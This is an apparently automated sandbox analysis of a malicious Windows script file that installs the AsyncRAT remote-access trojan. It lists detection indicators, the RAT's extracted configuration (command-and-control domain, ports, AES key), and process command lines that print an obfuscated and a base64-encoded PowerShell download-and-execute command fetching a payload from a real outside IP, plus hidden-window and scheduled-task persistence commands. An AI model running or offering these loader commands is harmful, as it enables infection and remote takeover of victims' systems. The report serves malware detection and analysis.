| File name: | SSA#1709856742244.wsf |
| Full analysis: | https://app.any.run/tasks/d4bd928d-5d0f-4a24-a259-1f44cb6fc6dd |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | March 08, 2024, 00:47:49 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-8 text, with very long lines (384), with LF, NEL line terminators |
| MD5: | 0958250202CA826392746A2247099311 |
| SHA1: | 80FA280F67C0E1A1D342C2E9DDCC7B47462CBE37 |
| SHA256: | 674DA0B6D957555F30F0623F1786A1F2EEE76E69CBBE8DE3B056C8FD85AA4423 |
| SSDEEP: | 192:lGPwGPwGPwGPwGPwGPwGPwGPwGPwGPwGPwGPtGPwGPwGPwGPwGPwGPwGPwGPwGPQ:floF |
MALICIOUS
Uses sleep, probably for evasion detection (SCRIPT)
- wscript.exe (PID: 3092)
Bypass execution policy to execute commands
- powershell.exe (PID: 3488)
Changes powershell execution policy (Bypass)
- cmd.exe (PID: 2756)
Run PowerShell with an invisible window
- powershell.exe (PID: 3488)
ASYNCRAT has been detected (MUTEX)
- RegSvcs.exe (PID: 1888)
ASYNCRAT has been detected (SURICATA)
- RegSvcs.exe (PID: 1888)
Actions looks like stealing of personal data
- RegSvcs.exe (PID: 1888)
ASYNCRAT has been detected (YARA)
- RegSvcs.exe (PID: 1888)
SUSPICIOUS
Application launched itself
- powershell.exe (PID: 3536)
- cmd.exe (PID: 2292)
Reads the Internet Settings
- wscript.exe (PID: 3668)
- powershell.exe (PID: 1776)
- wscript.exe (PID: 3092)
- RegSvcs.exe (PID: 1888)
Found IP address in command line
- powershell.exe (PID: 1776)
Runs shell command (SCRIPT)
- wscript.exe (PID: 3668)
- wscript.exe (PID: 3092)
Unusual connection from system programs
- powershell.exe (PID: 1776)
Starts POWERSHELL.EXE for commands execution
- powershell.exe (PID: 3536)
- wscript.exe (PID: 3668)
- cmd.exe (PID: 2756)
The Powershell connects to the Internet
- powershell.exe (PID: 1776)
Probably obfuscated PowerShell command line is found
- powershell.exe (PID: 3536)
Possibly malicious use of IEX has been detected
- powershell.exe (PID: 3536)
Connects to unusual port
- powershell.exe (PID: 1776)
- RegSvcs.exe (PID: 1888)
The process executes via Task Scheduler
- wscript.exe (PID: 3092)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 3092)
- cmd.exe (PID: 2292)
Executing commands from a ".bat" file
- wscript.exe (PID: 3092)
The process hide an interactive prompt from the user
- cmd.exe (PID: 2756)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 2756)
The process executes Powershell scripts
- cmd.exe (PID: 2756)
Reads settings of System Certificates
- RegSvcs.exe (PID: 1888)
INFO
Creates files in the program directory
- powershell.exe (PID: 1776)
Reads the computer name
- RegSvcs.exe (PID: 1888)
Checks supported languages
- RegSvcs.exe (PID: 1888)
Reads the machine GUID from the registry
- RegSvcs.exe (PID: 1888)
Reads the software policy settings
- RegSvcs.exe (PID: 1888)
Reads Environment values
- RegSvcs.exe (PID: 1888)
Create files in a temporary directory
- RegSvcs.exe (PID: 1888)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
AsyncRat
(PID) Process(1888) RegSvcs.exe
C2 (1)WELLETESTINGS.LINE.PM
Ports (3)6606
7707
8808
BotnetDRAX_March
Version| Edit 3LOSH RAT
Options
AutoRunfalse
MutexAsyncMutex_6SI8OkPnk1
InstallFolder%AppData%
BSoDfalse
AntiVMfalse
Certificates
Cert1MIIE8jCCAtqgAwIBAgIQAOQb7nA/hP/L1XXxqdDJNzANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjMwNTI1MDUyMTIyWhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIykAVxs0s6rZ/dwP6ujJtpnj6RSsCsZN6Cfj1InZxSIswX+zNiKJys8xyLlyexoya3ebLp5gOSz...
Server_SignatureH9k0HjZfyzowOCJIR+vWbX838lMhler29r3oRYhuE8J3+Q6JeooGdHFvyVgtCubO+J3FKpV6AvXRzZTk2hBorfvqA8HO/3SokBosgpxqQNI81WtRPMC0IlOp463/xlkJm63D+Sq6GDzQuEEWtmXYTupCQnmxahdLz2xqgLdbwtGxfKET0aJ007Lv9LmoX0UVFeVSkI2IUWmZxUV/nWwf9tpQCxHfmGrNwsvddJfHsi0m70d25wJkTClfrJChngIpQx7Xsvi0YDwDGpm19tenJtPd/zqrNckGfhjjg6h8vClk...
Keys
AESe9106113d40dced2ba6c7705fe176431378ef218bb4390bc217469edd9c9a338
Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
Total processes
46
Monitored processes
9
Malicious processes
6
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 864 | "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /tn analysis /tr C:\ProgramData\Word\analysis.vbs | C:\Windows\System32\schtasks.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1776 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$R='IeX(Ne';$RE = $R+'W-OBJ';$RED = $RE+'eCT NeT.W';$PAC='eBCL';$xx = $PAC+'IeN';$RO = $xx+'T).DOWNLO';$zz='O@0(&(''http://163.5.64.74:81/welle/sample.mp3'')'.RePLACe('O@0(&','ADSTRING');iex($RED+$RO+$zz)" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1888 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Services Installation Utility Exit code: 0 Version: 4.8.3761.0 built by: NET48REL1 Modules
AsyncRat(PID) Process(1888) RegSvcs.exe C2 (1)WELLETESTINGS.LINE.PM Ports (3)6606 7707 8808 BotnetDRAX_March Version| Edit 3LOSH RAT Options AutoRunfalse MutexAsyncMutex_6SI8OkPnk1 InstallFolder%AppData% BSoDfalse AntiVMfalse Certificates Cert1MIIE8jCCAtqgAwIBAgIQAOQb7nA/hP/L1XXxqdDJNzANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjMwNTI1MDUyMTIyWhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIykAVxs0s6rZ/dwP6ujJtpnj6RSsCsZN6Cfj1InZxSIswX+zNiKJys8xyLlyexoya3ebLp5gOSz... Server_SignatureH9k0HjZfyzowOCJIR+vWbX838lMhler29r3oRYhuE8J3+Q6JeooGdHFvyVgtCubO+J3FKpV6AvXRzZTk2hBorfvqA8HO/3SokBosgpxqQNI81WtRPMC0IlOp463/xlkJm63D+Sq6GDzQuEEWtmXYTupCQnmxahdLz2xqgLdbwtGxfKET0aJ007Lv9LmoX0UVFeVSkI2IUWmZxUV/nWwf9tpQCxHfmGrNwsvddJfHsi0m70d25wJkTClfrJChngIpQx7Xsvi0YDwDGpm19tenJtPd/zqrNckGfhjjg6h8vClk... Keys AESe9106113d40dced2ba6c7705fe176431378ef218bb4390bc217469edd9c9a338 Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 | |||||||||||||||
| 2292 | C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Word\analysis.bat" " | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2756 | cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Word\analysis.ps1" | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3092 | C:\Windows\System32\WScript.exe "C:\ProgramData\Word\analysis.vbs" | C:\Windows\System32\wscript.exe | — | taskeng.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3488 | Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Word\analysis.ps1" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3536 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ReDrO = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JFI9J0llWChOZSc7JFJFID0gJFIrJ1ctT0JKJzskUkVEID0gJFJFKydlQ1QgTmVULlcnOyRQQUM9J2VCQ0wnOyR4eCA9ICRQQUMrJ0llTic7JFJPID0gJHh4KydUKS5ET1dOTE8nOyR6ej0nT0AwKCYoJydodHRwOi8vMTYzLjUuNjQuNzQ6ODEvd2VsbGUvc2FtcGxlLm1wMycnKScuUmVQTEFDZSgnT0AwKCYnLCdBRFNUUklORycpO2lleCgkUkVEKyRSTyskenop')) ; powershell $ReDrO" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3668 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\Downloads\SSA#1709856742244.wsf" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
Total events
10 977
Read events
10 947
Write events
30
Delete events
0
Modification events
| (PID) Process: | (3668) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3668) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3668) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (3668) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (3092) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3092) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3092) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (3092) wscript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (1888) RegSvcs.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
0
Suspicious files
4
Text files
3
Unknown types
8
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1776 | powershell.exe | C:\Users\admin\AppData\Local\Temp\2dlsidux.fwh.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3536 | powershell.exe | C:\Users\admin\AppData\Local\Temp\sarl2wh3.5z0.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1776 | powershell.exe | C:\ProgramData\Word\analysis.vbs | text | |
MD5:E66F82716596D7358D8631879B2BFFDC | SHA256:F6B7D3FB2EBBF0CA57870197407B4CB1487298B171883062E7A1313D4FCBC3D4 | |||
| 3536 | powershell.exe | C:\Users\admin\AppData\Local\Temp\njctzmeu.2en.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1776 | powershell.exe | C:\ProgramData\Word\analysis.ps1 | text | |
MD5:8137A7BEC9E6E5233A63893CC6F763DC | SHA256:1C7C83A510CDF2AC8F685C4163E257BA949B06C39E440F1971C245F9A2394C7F | |||
| 1888 | RegSvcs.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | compressed | |
MD5:753DF6889FD7410A2E9FE333DA83A429 | SHA256:B42DC237E44CBC9A43400E7D3F9CBD406DBDEFD62BFE87328F8663897D69DF78 | |||
| 1776 | powershell.exe | C:\ProgramData\Word\analysis.bat | text | |
MD5:C9D8161EE989E876E8FE83A587D69C7D | SHA256:43F3B9591A5B930729973F331948A12F6F97E09ACD17B343E12DF6B5DAF17F82 | |||
| 1888 | RegSvcs.exe | C:\Users\admin\AppData\Local\Temp\TarC192.tmp | binary | |
MD5:DD73CEAD4B93366CF3465C8CD32E2796 | SHA256:A6752B7851B591550E4625B832A393AABCC428DE18D83E8593CD540F7D7CAE22 | |||
| 1776 | powershell.exe | C:\Users\admin\AppData\Local\Temp\dj4bzm0e.blh.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3488 | powershell.exe | C:\Users\admin\AppData\Local\Temp\h3vvfkne.2wu.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
7
DNS requests
3
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1776 | powershell.exe | GET | 200 | 163.5.64.74:81 | http://163.5.64.74:81/welle/sample.mp3 | unknown | text | 463 Kb | unknown |
1888 | RegSvcs.exe | GET | 200 | 23.53.41.250:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e07484abb4c9d69b | unknown | compressed | 67.5 Kb | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | unknown |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
1776 | powershell.exe | 163.5.64.74:81 | — | — | FR | unknown |
1888 | RegSvcs.exe | 94.156.8.64:6606 | WELLETESTINGS.LINE.PM | Vivacom | BG | unknown |
1888 | RegSvcs.exe | 23.53.41.250:80 | ctldl.windowsupdate.com | Akamai International B.V. | DE | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
WELLETESTINGS.LINE.PM |
| unknown |
ctldl.windowsupdate.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1080 | svchost.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS Query to a *.line .pm Domain |
1888 | RegSvcs.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
1888 | RegSvcs.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT Style SSL Cert |
1888 | RegSvcs.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) |